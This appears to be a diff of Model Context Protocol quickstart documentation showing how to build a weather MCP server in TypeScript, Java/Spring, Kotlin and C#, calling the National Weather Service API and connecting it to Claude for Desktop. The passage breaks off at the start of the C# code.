+ Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * TypeScript
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```javascript theme={null}
+ // ❌ Bad (STDIO)
+ console.log("Server started");
+
+ // ✅ Good (STDIO)
+ console.error("Server started"); // stderr is safe
+ ```
+
+ ### System requirements
+
+ For TypeScript, make sure you have the latest version of Node installed.
+
+ ### Set up your environment
+
+ First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/).
+ Verify your Node.js installation:
+
+ ```bash theme={null}
+ node --version
+ npm --version
+ ```
+
+ For this tutorial, you'll need Node.js version 16 or higher.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/sdk zod@3
+ npm install -D @types/node typescript
+
+ # Create our files
+ mkdir src
+ touch src/index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/sdk zod@3
+ npm install -D @types/node typescript
+
+ # Create our files
+ md src
+ new-item src\index.ts
+ ```
+
+
+ Update your package.json to add type: "module" and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "bin": {
+ "weather": "./build/index.js"
+ },
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ },
+ "files": ["build"]
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "outDir": "./build",
+ "rootDir": "./src",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["src/**/*"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `src/index.ts`:
+
+ ```typescript theme={null}
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
+ import { z } from "zod";
+
+ const NWS_API_BASE = "https://api.weather.gov";
+ const USER_AGENT = "weather-app/1.0";
+
+ // Create server instance
+ const server = new McpServer({
+ name: "weather",
+ version: "1.0.0",
+ });
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```typescript theme={null}
+ // Helper function for making NWS API requests
+ async function makeNWSRequest(url: string): Promise {
+ const headers = {
+ "User-Agent": USER_AGENT,
+ Accept: "application/geo+json",
+ };
+
+ try {
+ const response = await fetch(url, { headers });
+ if (!response.ok) {
+ throw new Error(`HTTP error! status: ${response.status}`);
+ }
+ return (await response.json()) as T;
+ } catch (error) {
+ console.error("Error making NWS request:", error);
+ return null;
+ }
+ }
+
+ interface AlertFeature {
+ properties: {
+ event?: string;
+ areaDesc?: string;
+ severity?: string;
+ status?: string;
+ headline?: string;
+ };
+ }
+
+ // Format alert data
+ function formatAlert(feature: AlertFeature): string {
+ const props = feature.properties;
+ return [
+ `Event: ${props.event || "Unknown"}`,
+ `Area: ${props.areaDesc || "Unknown"}`,
+ `Severity: ${props.severity || "Unknown"}`,
+ `Status: ${props.status || "Unknown"}`,
+ `Headline: ${props.headline || "No headline"}`,
+ "---",
+ ].join("\n");
+ }
+
+ interface ForecastPeriod {
+ name?: string;
+ temperature?: number;
+ temperatureUnit?: string;
+ windSpeed?: string;
+ windDirection?: string;
+ shortForecast?: string;
+ }
+
+ interface AlertsResponse {
+ features: AlertFeature[];
+ }
+
+ interface PointsResponse {
+ properties: {
+ forecast?: string;
+ };
+ }
+
+ interface ForecastResponse {
+ properties: {
+ periods: ForecastPeriod[];
+ };
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```typescript theme={null}
+ // Register weather tools
+
+ server.registerTool(
+ "get_alerts",
+ {
+ description: "Get weather alerts for a state",
+ inputSchema: {
+ state: z
+ .string()
+ .length(2)
+ .describe("Two-letter state code (e.g. CA, NY)"),
+ },
+ },
+ async ({ state }) => {
+ const stateCode = state.toUpperCase();
+ const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`;
+ const alertsData = await makeNWSRequest(alertsUrl);
+
+ if (!alertsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve alerts data",
+ },
+ ],
+ };
+ }
+
+ const features = alertsData.features || [];
+ if (!features.length) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `No active alerts for ${stateCode}`,
+ },
+ ],
+ };
+ }
+
+ const formattedAlerts = features.map(formatAlert);
+ const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: alertsText,
+ },
+ ],
+ };
+ },
+ );
+
+ server.registerTool(
+ "get_forecast",
+ {
+ description: "Get weather forecast for a location",
+ inputSchema: {
+ latitude: z
+ .number()
+ .min(-90)
+ .max(90)
+ .describe("Latitude of the location"),
+ longitude: z
+ .number()
+ .min(-180)
+ .max(180)
+ .describe("Longitude of the location"),
+ },
+ },
+ async ({ latitude, longitude }) => {
+ // Get grid point data
+ const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`;
+ const pointsData = await makeNWSRequest(pointsUrl);
+
+ if (!pointsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,
+ },
+ ],
+ };
+ }
+
+ const forecastUrl = pointsData.properties?.forecast;
+ if (!forecastUrl) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to get forecast URL from grid point data",
+ },
+ ],
+ };
+ }
+
+ // Get forecast data
+ const forecastData = await makeNWSRequest(forecastUrl);
+ if (!forecastData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve forecast data",
+ },
+ ],
+ };
+ }
+
+ const periods = forecastData.properties?.periods || [];
+ if (periods.length === 0) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "No forecast periods available",
+ },
+ ],
+ };
+ }
+
+ // Format forecast periods
+ const formattedForecast = periods.map((period: ForecastPeriod) =>
+ [
+ `${period.name || "Unknown"}:`,
+ `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,
+ `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,
+ `${period.shortForecast || "No forecast available"}`,
+ "---",
+ ].join("\n"),
+ );
+
+ const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: forecastText,
+ },
+ ],
+ };
+ },
+ );
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```typescript theme={null}
+ async function main() {
+ const transport = new StdioServerTransport();
+ await server.connect(transport);
+ console.error("Weather MCP Server running on stdio");
+ }
+
+ main().catch((error) => {
+ console.error("Fatal error in main():", error);
+ process.exit(1);
+ });
+ ```
+
+ Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2024-11-05/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation.
+
+
+ Let's get started with building our weather server!
+ [You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server)
+
+ For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation.
+ For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/).
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+ * Ensure any configured logging library will not write to stdout.
+
+ ### System requirements
+
+ * Java 17 or higher installed.
+ * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher
+
+ ### Set up your environment
+
+ Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.
+
+ You will need to add the following dependencies:
+
+
+ ```xml Maven theme={null}
+
+
+ org.springframework.ai
+ spring-ai-starter-mcp-server
+
+
+
+ org.springframework
+ spring-web
+
+
+ ```
+
+ ```groovy Gradle theme={null}
+ dependencies {
+ implementation platform("org.springframework.ai:spring-ai-starter-mcp-server")
+ implementation platform("org.springframework:spring-web")
+ }
+ ```
+
+
+ Then configure your application by setting the application properties:
+
+
+ ```bash application.properties theme={null}
+ spring.main.bannerMode=off
+ logging.pattern.console=
+ ```
+
+ ```yaml application.yml theme={null}
+ logging:
+ pattern:
+ console:
+ spring:
+ main:
+ banner-mode: off
+ ```
+
+
+ The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties.
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Weather Service
+
+ Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API:
+
+ ```java theme={null}
+ @Service
+ public class WeatherService {
+
+ private final RestClient restClient;
+
+ public WeatherService() {
+ this.restClient = RestClient.builder()
+ .baseUrl("https://api.weather.gov")
+ .defaultHeader("Accept", "application/geo+json")
+ .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)")
+ .build();
+ }
+
+ @Tool(description = "Get weather forecast for a specific latitude/longitude")
+ public String getWeatherForecastByLocation(
+ double latitude, // Latitude coordinate
+ double longitude // Longitude coordinate
+ ) {
+ // Returns detailed forecast including:
+ // - Temperature and unit
+ // - Wind speed and direction
+ // - Detailed forecast description
+ }
+
+ @Tool(description = "Get weather alerts for a US state")
+ public String getAlerts(
+ @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state
+ ) {
+ // Returns active alerts including:
+ // - Event type
+ // - Affected area
+ // - Severity
+ // - Description
+ // - Safety instructions
+ }
+
+ // ......
+ }
+ ```
+
+ The `@Service` annotation will auto-register the service in your application context.
+ The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.
+
+ The auto-configuration will automatically register these tools with the MCP server.
+
+ ### Create your Boot Application
+
+ ```java theme={null}
+ @SpringBootApplication
+ public class McpServerApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(McpServerApplication.class, args);
+ }
+
+ @Bean
+ public ToolCallbackProvider weatherTools(WeatherService weatherService) {
+ return MethodToolCallbackProvider.builder().toolObjects(weatherService).build();
+ }
+ }
+ ```
+
+ Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server.
+
+ ### Running the server
+
+ Finally, let's build the server:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux.
+
+
+ First, make sure you have Claude for Desktop installed.
+ [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.stdio=true",
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.transport=STDIO",
+ "-jar",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your server.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "my-weather-server"
+ 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+ ## Testing your server with Java client
+
+ ### Create an MCP Client manually
+
+ Use the `McpClient` to connect to the server:
+
+ ```java theme={null}
+ var stdioParams = ServerParameters.builder("java")
+ .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar")
+ .build();
+
+ var stdioTransport = new StdioClientTransport(stdioParams);
+
+ var mcpClient = McpClient.sync(stdioTransport).build();
+
+ mcpClient.initialize();
+
+ ListToolsResult toolsList = mcpClient.listTools();
+
+ CallToolResult weather = mcpClient.callTool(
+ new CallToolRequest("getWeatherForecastByLocation",
+ Map.of("latitude", "47.6062", "longitude", "-122.3321")));
+
+ CallToolResult alert = mcpClient.callTool(
+ new CallToolRequest("getAlerts", Map.of("state", "NY")));
+
+ mcpClient.closeGracefully();
+ ```
+
+ ### Use MCP Client Boot Starter
+
+ Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+ ```
+
+ and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`.
+ You can reuse the existing Anthropic Desktop configuration:
+
+ ```properties theme={null}
+ spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json
+ ```
+
+ When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json.
+
+ For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation.
+
+ ## More Java MCP Server examples
+
+ The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an MCP server using SSE transport.
+ It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Kotlin
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * JDK 11 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ kotlin("plugin.serialization") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion")
+ implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Setting up the instance
+
+ Add a server initialization function:
+
+ ```kotlin theme={null}
+ fun runMcpServer() {
+ val server = Server(
+ Implementation(
+ name = "weather",
+ version = "1.0.0",
+ ),
+ ServerOptions(
+ capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)),
+ ),
+ )
+
+ // register tools on server here
+
+ val transport = StdioServerTransport(
+ System.`in`.asInput(),
+ System.out.asSink().buffered(),
+ )
+
+ runBlocking {
+ val session = server.createSession(transport)
+ val done = Job()
+ session.onClose {
+ done.complete()
+ }
+ done.join()
+ }
+ }
+ ```
+
+ ### Weather API helper functions
+
+ Next, let's add functions and data classes for querying and converting responses from the National Weather Service API:
+
+ ```kotlin theme={null}
+ val httpClient = HttpClient(CIO) {
+ defaultRequest {
+ url("https://api.weather.gov")
+ headers {
+ append("Accept", "application/geo+json")
+ append("User-Agent", "WeatherApiClient/1.0")
+ }
+ contentType(ContentType.Application.Json)
+ }
+ install(ContentNegotiation) {
+ json(Json { ignoreUnknownKeys = true })
+ }
+ }
+
+ // Extension function to fetch weather alerts for a given state
+ suspend fun HttpClient.getAlerts(state: String): List {
+ val alerts = this.get("/alerts/active/area/$state").body()
+ return alerts.features.map { feature ->
+ """
+ Event: ${feature.properties.event}
+ Area: ${feature.properties.areaDesc}
+ Severity: ${feature.properties.severity}
+ Status: ${feature.properties.status}
+ Headline: ${feature.properties.headline}
+ """.trimIndent()
+ }
+ }
+
+ // Extension function to fetch forecast information for given latitude and longitude
+ suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List {
+ val points = this.get("/points/$latitude,$longitude").body()
+ val forecastUrl = points.properties.forecast ?: error("No forecast URL available")
+ val forecast = this.get(forecastUrl).body()
+ return forecast.properties.periods.map { period ->
+ """
+ ${period.name}:
+ Temperature: ${period.temperature}°${period.temperatureUnit}
+ Wind: ${period.windSpeed} ${period.windDirection}
+ ${period.shortForecast}
+ """.trimIndent()
+ }
+ }
+
+ @Serializable
+ data class PointsResponse(val properties: PointsProperties)
+
+ @Serializable
+ data class PointsProperties(val forecast: String? = null)
+
+ @Serializable
+ data class ForecastResponse(val properties: ForecastProperties)
+
+ @Serializable
+ data class ForecastProperties(val periods: List = emptyList())
+
+ @Serializable
+ data class ForecastPeriod(
+ val name: String? = null,
+ val temperature: Int? = null,
+ val temperatureUnit: String? = null,
+ val windSpeed: String? = null,
+ val windDirection: String? = null,
+ val shortForecast: String? = null,
+ )
+
+ @Serializable
+ data class AlertsResponse(val features: List = emptyList())
+
+ @Serializable
+ data class AlertFeature(val properties: AlertProperties)
+
+ @Serializable
+ data class AlertProperties(
+ val event: String? = null,
+ val areaDesc: String? = null,
+ val severity: String? = null,
+ val status: String? = null,
+ val headline: String? = null,
+ )
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```kotlin theme={null}
+ // Register weather tools
+
+ server.addTool(
+ name = "get_alerts",
+ description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("state") {
+ put("type", "string")
+ put("description", "Two-letter US state code (e.g. CA, NY)")
+ }
+ },
+ required = listOf("state"),
+ ),
+ ) { request ->
+ val state = request.arguments?.get("state")?.jsonPrimitive?.content
+ ?: return@addTool CallToolResult(
+ content = listOf(TextContent("The 'state' parameter is required.")),
+ )
+
+ val alerts = httpClient.getAlerts(state)
+ CallToolResult(content = alerts.map { TextContent(it) })
+ }
+
+ server.addTool(
+ name = "get_forecast",
+ description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("latitude") {
+ put("type", "number")
+ put("description", "Latitude of the location")
+ }
+ putJsonObject("longitude") {
+ put("type", "number")
+ put("description", "Longitude of the location")
+ }
+ },
+ required = listOf("latitude", "longitude"),
+ ),
+ ) { request ->
+ val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull
+ val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull
+ if (latitude == null || longitude == null) {
+ return@addTool CallToolResult(
+ content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")),
+ )
+ }
+
+ val forecast = httpClient.getForecast(latitude, longitude)
+ CallToolResult(content = forecast.map { TextContent(it) })
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```kotlin theme={null}
+ fun main() = runMcpServer()
+ ```
+
+ You can run the server directly during development:
+
+ ```bash theme={null}
+ ./gradlew run
+ ```
+
+ For production use, build the shadow JAR:
+
+ ```bash theme={null}
+ ./gradlew build
+ java -jar build/libs/weather-0.1.0-all.jar
+ ```
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2024-11-05/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * C#
+ * LLMs like Claude
+ * .NET 8 or higher
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation:
+
+ ```bash theme={null}
+ dotnet --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+
+ After running `dotnet new console`, you will be presented with a new C# project.
+ You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/).
+ Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022).
+ After creating the project, add NuGet package for the Model Context Protocol SDK and hosting:
+
+ ```bash theme={null}
+ # Add the Model Context Protocol SDK NuGet package
+ dotnet add package ModelContextProtocol --prerelease
+ # Add the .NET Hosting NuGet package
+ dotnet add package Microsoft.Extensions.Hosting
+ ```
+
+ Now let’s dive into building your server.
+
+ ## Building your server
+
+ Open the `Program.cs` file in your project and replace its contents with the following code:
+
+ ```csharp theme={null}
+ using Microsoft.Extensions.DependencyInjection;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol;
+ using System.Net.Http.Headers;
+
